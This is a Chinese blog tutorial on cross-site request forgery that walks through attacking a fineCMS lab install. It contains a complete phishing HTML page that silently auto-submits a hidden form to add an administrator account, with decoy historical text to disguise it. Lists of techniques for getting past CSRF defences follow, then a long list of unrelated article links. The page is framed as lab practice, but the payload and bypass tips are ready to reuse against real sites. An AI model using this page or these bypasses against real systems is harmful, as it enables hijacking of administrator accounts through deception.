跨站请求伪造——CSRF
csrf与xss的区别
csrf:需要受害者先登录网站A,然后获取受害者的 cookie,伪装成受害者;它是利用网站A本身的漏洞,去请求网站A的api。
xss:不需要受害者去登录;是直接向网站 A 注入 JS代码,然后网站A执行了 注入的JS代码。
简单来说: xss是你用自己注册的账号,往网站里注入代码,实施攻击。利用的是网站对你的信任
而CSRF是你通过某些手段拿到了受害者的cookie,然后伪装成受害者,发送恶意请求,比如:以受害者的名义发送邮件,发消息,盗取受害者的账号,虚拟货币转账…… 利用的是网站对受害者的信任
CSRF的介绍
CSRF(Cross-site request forgery)跨站请求伪造
通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。 与XSS攻击相比,CSRF攻击往往不大流行(潜台词:对其进行防范的开发者也相当稀少)和难以防范,所以被认为比XSS更具危险性
常遇到的CSRF攻击:你在QQ群里点开了一个诱惑性很强的链接,结果一分钟后你也成为了在群里发链接的人
利用过程
一、A用户登录一个浏览器去执行一个动作
二、B用户利用工具抓包,抓取到A用户的这个动作,然后通过burp制作出一个csrf的请求页面
三、B用户在自己浏览器登录,并执行本属于A用户的csrf请求页面。
四、如果B用户执行成功,说明存在漏洞;如果不成功,则说明不存在漏洞或者存在漏洞,只是不能利用
实战
靶场下载
找到一个免费开源的网站管理系统,存在有xss、csrf漏洞
下载 fineCMS
安装方式安装包里有,这里就不多说了(建议安装在根目录)
过程
一、A用户登录浏览器执行动作
当管理员登录后台,准备添加用户时
二、B用户抓包制作csrf请求页面
抓到包后,点击一次发送
得到返回包,右击鼠标,选择相关工具,生成csrf
此时,可以把刚刚抓到的包放出去了
三、本地保存
把刚刚的csrf保存下来,这里我命名为0816.html
然后账号密码换成我想添加的,这里我把1234换成12345
然后在自己电脑上运行
不行,提示要登录。去拿管理员cookies太麻烦了,不如让管理员自己来执行操作
四、制作钓鱼网站
将这个html文档直接发送给管理员,让他执行;或者将文档上传到公网上,将链接发给管理员让他点。(一般人都是直接点浏览器上的x退出网页,而不是退出账号。所以如果没有设置cookies自动失效的话,cookie会一直保存在浏览器里。你下次点开网页,不用登录就可以直接进去,就是这个道理)
此时,你会发现多了两个账号,一个是管理员添加的1234,一个是你添加的12345
当然,管理员也没这么傻,看到来历不明的链接就乱点,而且点完之后还跳到。所以就要制作钓鱼网站了,这里我做了一个简单的页面
当管理员"点击进入
"的时候,就已经中招了
如果你担心管理员不点击进入,你可以改成点击关闭广告
,或者更猥琐点,只要管理员进入这个网页,就中招——哪怕他不执行任何操作
<html>
<body bgcolor="#B0C4DE">
<style>
#zxd_x{
width:20px;
height:20px;
text-align:center;
font-size:10px;
color:red;
position:absolute;
right:20px;
top:20px;
cursor:pointer;}
</style>
<iframe id="iframe_display" name="iframe_display" style="display: none;"></iframe>
<div id="zxd_x" style="z-index:999;display: block; position: fixed; left: 0px; top: 200px;">
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.0.111/admin.php?c=root&m=add" method="POST" id="test" target="iframe_display">>
<input type="hidden" name="mark" value="0" />
<input type="hidden" name="data[username]" value="123457" />
<input type="hidden" name="data[realname]" value="123457" />
<input type="hidden" name="data[password]" value="123457" />
<input type="hidden" name="data[email]" value="123457@12345.com" />
<input type="hidden" name="data[phone]" value="123457" />
<input type="submit" value="点击进入" onclick="javascrtpt:window.kk='dym.html'"/>
</form>
<div class="content"><a href=""><img src="images/1234.png"></a></div>
</div>
<script>
document.test.submit(); //执行新建新用户的操作
</script>
<p><p>中法战争</p></p>
<p>大理寺少卿曾纪泽自巴黎致总署总办 </p>
光绪七年八月初一日<br/><br/>
纪泽自俄回法,……二十一日到巴黎,强自挣扎至外部与桑迪里一谈越南之事;归而委顿床榻,数日不能坐立,昨日乃稍痊可,犹未屏医药也。<br/><br/>
法之图越,蓄谋已久,断非口舌所能挽救。吾华海防水师渐有起色,如拨派数艘移近南服,敌人有所顾忌,或可不至于剥肤噬脐之悔。法人内慑于德,又丢尼斯之役未甚如意,断不敢与我轻开衅端。吾华自翻改俄约之后,声威较前日增,似是一好机会。此事全恃南北洋闽粤诸公齐心协力,奋发有为。纪泽未曾听得各省准主意、真消息,措词总难得势。
兹将问答节略,钞寄台览。照会屡缮屡改,至今未发。事端重大,法文字句之间不敢不格外审慎,而才识之薄劣亦可于此征矣。<br/><br/>
--------------------《曾惠敏公遗集﹒文集》卷四<br/><br/>
<br/><br/>
<p>云贵总督刘长佑奏</p>
<p>熟审边情敬陈管见疏</p>
光绪七年九月十七日<br/><br/>
……臣闻智者见事于未形,贤者防患于未萌。至于患之已萌,形之已见,而犹长虑却顾,冀幸无事,则将来之变不可胜穷;其用力愈劳,其受害愈大;不如乘其始萌始见,挫其锋而伐其谋,用力少而收效远也。<br/><br/>
<br/>臣以为边省者,中国之门户;外藩者,中国之藩篱。树藩篱所以卫门户,卫门户所以固堂室;藩篱陷则门户危,门户危则堂室震。伊古以来,聪明神武之君,及汉、唐雄略之主,力可以囊括宇内,而犹存要荒之君长,列边境之蛮夷者,凡以设藩屏以御殊族,树股肱而奠神州也。<br/><br/>故我圣祖皇帝亲征漠北,世宗扬威青海,高宗戡定金川,荡平回准,辟地二万余里,而犹存近海诸国,西自缅甸,东至朝鲜,不欲芟夷而郡县之者,所以屏蔽山海,捍卫神京也。<br/><br/>
<br/>诸国修贡奉职,府无虚岁,传世嗣位,皆俟宠灵,正朔所加,爵命所及,世为不侵不叛之臣。其间亲莫如朝鲜,顺莫如琉球,恭莫如越南。朝鲜为盛京之门户,越南更与滇、粤为唇齿,视琉球之远在南海,形势更重。泰西诸国,自于印度及新加坡、槟榔屿设立埠头以后,法国之垂涎越南者已久,开市西贡,据其要害。<br/><br/>同治十一年,复通贼将黄崇英,规取越南之东京,聚兵合谋,思渡洪江以侵谅山诸处;又欲割越南、广西边界地六百里为伊驻兵之所。<br/><br/>臣时在广西巡抚任内,虽兵疲饷绌,余盗未平,即遣将弁出关往援。法人不悦,讦告通商衙门,谓臣包藏祸心,有意败盟。<br/><br/>赖毅皇帝圣明洞鉴,谅臣愚忠,乃得出师助剿,内外夹击。越南招用贼渠刘永福,以折法人沙酋之锋。广西援兵分为两路:左路则提督刘玉成一军,趋太原、北宁以次进剿;右路则道员赵沃一军,由兴化、宣光等处分击贼党,直抵安边、河阳,破崇英等巢穴,尽歼渠魁。<br/><br/>奉国威灵,将士用命,幸得保其东境;故法人寝谋不敢遽吞交趾者,将逮一纪。<br/>
--------------------《刘武慎公遗书﹒奏稿》卷二十<br/>
</body>
</html>
csrf 防御
- REferer头防御
- 加验证码
- token
- 自定义请求头
csrf 绕过
- referer绕过把我们的csrf文件名改为信任的域名
- 第一看验证码是否生效,第二看验证码是否多次请求都不会过期
- 第一找token加密规则,第二使用xss来打击token
- 抓包查看私有请求头,然后通过xmlhttprequest来创建请求头
- 高盛成立交易部门,涉足比特币和加密货币交易
- WordPress主题开发:添加主题更新提醒功能
- WordPress主题开发:添加主题更新提醒功能
- ASP.NET2.0应用中定制安全凭证之实践篇
- Kaggle大神带你上榜单Top2%:点击预测大赛纪实(下)
- WordPress主题后台选项开发框架 Options Framework 介绍
- vc++ 在程序中运行另一个程序的方法
- 为Options Framework主题后台框架添加后台侧边栏
- ClistCtrl用法及总结(由怎样隐藏ListCtrl列表头的排序小三角形这个bug学习到的知识)
- 弹出式模态窗体选择文本控件
- zookeeper 分布式锁服务
- QT Creator 快速入门教程 读书笔记(三)
- WordPress中添加自定义评论表情包的方法(附三套表情包下载)
- 使用新类型Nullable处理数据库表中null字段
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Day18:二叉树的镜像
- ksubdomain 无状态域名爆破工具
- Day19:顺时针打印矩阵
- 疑似 KimsukyAPT 组织最新攻击活动样本分析
- 查找被删除但仍然占据磁盘的文件
- WPF 获取本机所有字体拿到每个字符的宽度和高度
- WPF 自己封装 Skia 差量绘制控件
- C# dotnet 使用 OpenXml 解析 Word 文件
- Day20:包含min函数的栈
- No module named ‘SerialClient‘和Cannot import package : rosserial_arduino
- 提升开发效率N倍的20+命令行神器!(附 demo)
- Java反射原理
- 【每日一题】46. Permutations
- 免费下论文的10个方法
- 【原创】90%的人都不会做的一道笔试题